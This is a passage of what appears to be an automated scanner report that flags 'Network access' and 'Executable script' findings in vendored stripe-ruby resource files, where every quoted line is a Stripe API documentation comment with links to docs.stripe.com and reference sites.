    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 3096
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 3101
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3103
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3113
    # Perform an incremental authorization on an eligible     # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3114
    # [PaymentIntent](https://docs.stripe.com/docs/api/payment_intents/object). To be eligible, the
  • Network accessline 3115
    # PaymentIntent's status must be requires_capture and     # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)     # m
  • Network accessline 3116
    # [incremental_authorization_supported](https://docs.stripe.com/docs/api/charges/object#charge_object-payment_method_details-card_present-incremental_authorization_supported)
  • Network accessline 3125
    # If the incremental authorization succeeds, the PaymentIntent object     # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3126
    # returns with the updated     # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).     # If the incremental authorization fails, a
  • Network accessline 3127
    # [amount](https://docs.stripe.com/docs/api/payment_intents/object#payment_intent_object-amount).
  • Network accessline 3128
    # If the incremental authorization fails, a     # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other     # fields on the PaymentIntent or Charge update. The PaymentIntent
  • Network accessline 3129
    # [card_declined](https://docs.stripe.com/docs/error-codes#card-declined) error returns, and no other
  • Network accessline 3134
    # After it's captured, a PaymentIntent can no longer be incremented.     #     # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3136
    # Learn more about [incremental authorizations](https://docs.stripe.com/docs/terminal/features/incremental-authorizations).
  • Network accessline 3168
    # always requires you to confirm the PaymentIntent again. If you prefer to     # update and confirm at the same time, we recommend updating properties through     # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm)
  • Network accessline 3170
    # the [confirm API](https://docs.stripe.com/docs/api/payment_intents/confirm) instead.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_intent_amount_details_line_item.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 62
    # The Stripe account ID of the connected account that sells the item. This is only needed when using [Separate Charges and Transfers](https://docs.stripe.com/connect/separate-charges-and-transfers).
  • Network accessline 92
    # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0.
  • Network accessline 105
    # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0.
  • Network accessline 125
    # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_link.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A payment link is a shareable URL that will take your customers to a hosted payment page. A payment link can be shared and used multiple times.   #   # When a customer opens a payment link it will open a new [checkout session](https://doc
  • Network accessline 6
    #   # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event
  • Network accessline 7
    # When a customer opens a payment link it will open a new [checkout session](https://docs.stripe.com/api/checkout/sessions) to render the payment page. You can use [checkout session events](https://docs.stripe.com/api/events/types#event_typ
  • Network accessline 9
    # Related guide: [Payment Links API](https://docs.stripe.com/payment-links)
  • Network accessline 355
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 468
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Payment Intents](https://docs.stripe.com/api/payment_intents) generated from this payment link.
  • Network accessline 476
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Network accessline 612
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that will set metadata on [Subscriptions](https://docs.stripe.com/api/subscriptions) generated from this payment link.
  • Network accessline 675
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 693
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 699
    # The account on behalf of which to charge. See the [Connect documentation](https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts) for details.
  • Network accessline 707
    # The list of payment method types that customers can use. When `null`, Stripe will dynamically show relevant payment methods you've enabled in your [payment method settings](https://dashboard.stripe.com/settings/payment_methods).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # PaymentMethod objects represent your customer's payment instruments.   # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 6
    # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to
  • Network accessline 7
    # Customer objects to store instrument details for future payments.   #   # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scena
  • Network accessline 9
    # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios).
  • Network accessline 149
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 157
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 292
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 296
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 318
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 451
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 459
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 474
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 482
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 528
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 536
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 551
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 559
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 722
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 724
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 912
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1206
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 1481
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 1511
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 1536
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1537
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 1538
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1539
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 1541
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 1542
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 1543
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 1545
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 1546
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1547
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1558
    # Attaches a PaymentMethod object to a Customer.     #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1559
    #     # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)     # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/ap
  • Network accessline 1560
    # To attach a new PaymentMethod to a customer for future payments, we recommend you use a [SetupIntent](https://docs.stripe.com/docs/api/setup_intents)
  • Network accessline 1561
    # or a PaymentIntent with [setup_future_usage](https://docs.stripe.com/docs/api/payment_intents/create#create_payment_intent-setup_future_usage).
  • Network accessline 1563
    # endpoint without first using a SetupIntent or PaymentIntent with setup_future_usage does not optimize the PaymentMethod for     # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for fut
  • Network accessline 1564
    # future use, which makes later declines and payment friction more likely.     # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up     # futu
  • Network accessline 1565
    # See [Optimizing cards for future payments](https://docs.stripe.com/docs/payments/payment-intents#future-usage) for more information about setting up
  • Network accessline 1567
    #     # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_me
  • Network accessline 1568
    # To use this PaymentMethod as the default for invoice or subscription payments,     # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1569
    # set [invoice_settings.default_payment_method](https://docs.stripe.com/docs/api/customers/update#update_customer-invoice_settings-default_payment_method),
  • Network accessline 1580
    # Creates a PaymentMethod object. Read the [Stripe.js reference](https://docs.stripe.com/docs/stripe-js/reference#stripe-create-payment-method) to learn how to create PaymentMethods via Stripe.js.
  • Network accessline 1582
    # Instead of creating a PaymentMethod directly, we recommend using the [PaymentIntents API to accept a payment immediately or the <a href="/docs/payments/save-and-reuse">SetupIntent](https://docs.stripe.com/docs/payments/accept-a-payment) A

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method_configuration.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # PaymentMethodConfigurations control which payment methods are displayed to your customers when you don't explicitly specify payment method types. You can have multiple configurations with different sets of payment methods for different sc
  • Network accessline 6
    #   # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges):   #
  • Network accessline 7
    # There are two types of PaymentMethodConfigurations. Which is used depends on the [charge type](https://docs.stripe.com/connect/charges):
  • Network accessline 11
    # **Child** configurations apply to payments created on your connected accounts using direct charges, and charges with the on_behalf_of parameter.   #   # Child configurations have a `parent` that sets default values and controls which sett
  • Network accessline 12
    #   # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's asso
  • Network accessline 13
    # Child configurations have a `parent` that sets default values and controls which settings connected accounts may override. You can specify a parent ID at payment time, and Stripe will automatically resolve the connected account's associat
  • Network accessline 14
    #   # Related guides:   # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)
  • Network accessline 15
    # Related guides:   # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)   # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-c
  • Network accessline 16
    # - [Payment Method Configurations API](https://docs.stripe.com/connect/payment-method-configurations)
  • Network accessline 17
    # - [Multiple configurations on dynamic payment methods](https://docs.stripe.com/payments/multiple-payment-method-configs)
  • Network accessline 18
    # - [Multiple configurations for your Connect accounts](https://docs.stripe.com/connect/multiple-payment-method-configurations)

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_method_domain.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 6
    # Stripe Elements use registered payment method domains to control where certain payment methods are shown.   #   # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration).
  • Network accessline 8
    # Related guide: [Payment method domains](https://docs.stripe.com/payments/payment-methods/pmd-registration).
  • Network accessline 238
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 240
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).
  • Network accessline 253
    # To activate a payment method on an existing payment method domain, complete the required registration steps specific to the payment method, and then validate the payment method domain with this endpoint.     #     # Related guides: [Payme
  • Network accessline 255
    # Related guides: [Payment method domains](https://docs.stripe.com/docs/payments/payment-methods/pmd-registration).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payment_record.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 18
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 31
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 33
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 46
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 48
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 61
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 63
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 76
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 78
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 91
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 93
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 106
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 108
    # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY.
  • Network accessline 208
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 210
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 422
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 430
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 729
    # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card.
  • Network accessline 733
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 755
    # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre
  • Network accessline 973
    # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m
  • Network accessline 1291
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1293
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1500
    # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma
  • Network accessline 1622
    # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to.
  • Network accessline 1624
    # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on.
  • Network accessline 1761
    # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types.
  • Network accessline 1876
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 1884
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 1940
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/payout.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # A `Payout` object is created when you receive funds from Stripe, or when you   # initiate a payout to either a bank account or debit card of a [connected   # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). Y
  • Network accessline 6
    # initiate a payout to either a bank account or debit card of a [connected   # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts,   # and list all payouts. Payouts are made on
  • Network accessline 7
    # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts,
  • Network accessline 8
    # and list all payouts. Payouts are made on [varying   # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and   # industry.
  • Network accessline 9
    # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and
  • Network accessline 10
    # industry.   #   # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 12
    # Related guide: [Receiving payouts](https://docs.stripe.com/payouts)
  • Network accessline 39
    # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.
  • Network accessline 41
    # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details.
  • Network accessline 45
    # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts).
  • Network accessline 51
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 59
    # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures).
  • Network accessline 67
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 69
    # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/do
  • Network accessline 77
    # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout.
  • Network accessline 112
    # To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error.
  • Network accessline 114
    # If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode.     #     # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to 
  • Network accessline 116
    # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/person.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # This is an object representing a person associated with a Stripe account.   #   # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/account
  • Network accessline 6
    #   # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which 
  • Network accessline 7
    # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which incl
  • Network accessline 9
    # See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboarding s
  • Network accessline 50
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 58
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 73
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 98
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 194
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 202
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 343
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 349
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 362
    # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 368
    # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`.
  • Network accessline 387
    # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates.
  • Network accessline 422
    # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when.
  • Network accessline 440
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/plan.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
  • Network accessline 6
    #   # Plans define the base price, currency, and billing cycle for recurring purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physic
  • Network accessline 7
    # Plans define the base price, currency, and billing cycle for recurring purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical g
  • Network accessline 8
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe
  • Network accessline 10
    # For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year.   #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and mo
  • Network accessline 12
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview).
  • Network accessline 69
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 79
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 95
    # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 102
    # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/price.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products.   # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track
  • Network accessline 6
    # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be 
  • Network accessline 8
    # For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once.   #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invo
  • Network accessline 10
    # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe.com
  • Network accessline 62
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 104
    # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
  • Network accessline 159
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 161
    # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 171
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
  • Network accessline 181
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 198
    # Creates a new [Price for an existing <a href="https://docs.stripe.com/api/products">Product](https://docs.stripe.com/api/prices). The Price can be recurring or one-time.
  • Network accessline 203
    # Returns a list of your active prices, excluding [inline prices](https://docs.stripe.com/docs/products-prices/pricing-models#inline-pricing). For the list of inactive prices, set active to false.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/product.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 5
    # Products describe the specific goods or services you offer to your customers.   # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product.   # They can be used in conj
  • Network accessline 6
    # For example, you might offer a Standard and Premium version of your goods or service; each version would be a separate Product.   # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payme
  • Network accessline 7
    # They can be used in conjunction with [Prices](https://api.stripe.com#prices) to configure pricing in Payment Links, Checkout, and Subscriptions.
  • Network accessline 8
    #   # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription),   # [share a Payment Link](https://docs.stripe.com/payment-links),
  • Network accessline 9
